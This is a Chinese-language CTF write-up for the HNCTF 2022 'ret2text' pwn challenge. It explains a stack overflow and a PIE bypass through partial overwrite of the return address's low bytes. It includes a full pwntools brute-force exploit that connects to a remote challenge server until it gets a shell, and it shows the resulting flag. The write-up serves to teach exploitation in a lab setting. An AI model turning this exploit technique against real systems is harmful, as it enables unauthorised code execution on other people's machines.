Partial Overwrite绕过PIE保护-[HNCTF 2022 WEEK2]ret2text
vul 函数里面存在栈溢出
程序自带后门函数
但是程序开了 PIE 保护,程序内存地址加载随机化
我们可以使用 Partial Overwrite 来绕过,利用 PIE 低位 3h 位固定的缺陷
由于内存的页载入机制,PIE 的随机化只能影响到单个内存页。通常来说,一个内存页大小为 0x1000,这就意味着不管地址怎么变,某条指令的后 12 bit,即后 3 个十六进制数是始终不变的。(比如我们这里的 1E5 )
list = [“x01”,“x11”,“x21”,“x31”,“x41”,“x51”,“x61”,“x71”,“x81”,“x91”,“xa1”,“xb1”,“xc1”,“xd1”,“xe1”,“xf1”]
backdoor 后门函数后四位为 0x11E5 的概率为十六分之一
因为只有后三位是确定的,我们需要碰撞到倒数第四位为 1 的情况
backdoor = b"\xE5" + b"\x11"
为什么要倒着传呢?因为是小端序,我们这里并没有使用 p64 自动打包 。
爆破 exp:
# @author:My6n
# @time:20250526
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')offset = 0x108
backdoor = b"\xE5\x11"
payload = cyclic(offset) + backdoorwhile True:#io = process("./pwn")io = remote('node5.anna.nssctf.cn',21828)try:io.recvuntil(b"It's a easy challenge\n")io.send(payload)io.recv(timeout=3)except Exception as e:print(f"[!] Exception: {e}")io.close()else:print("[+] Got shell!")io.interactive()break
拿到 flag:nssctf{W0w_You_byp@ss3d_PIE_You_are_gr3at!}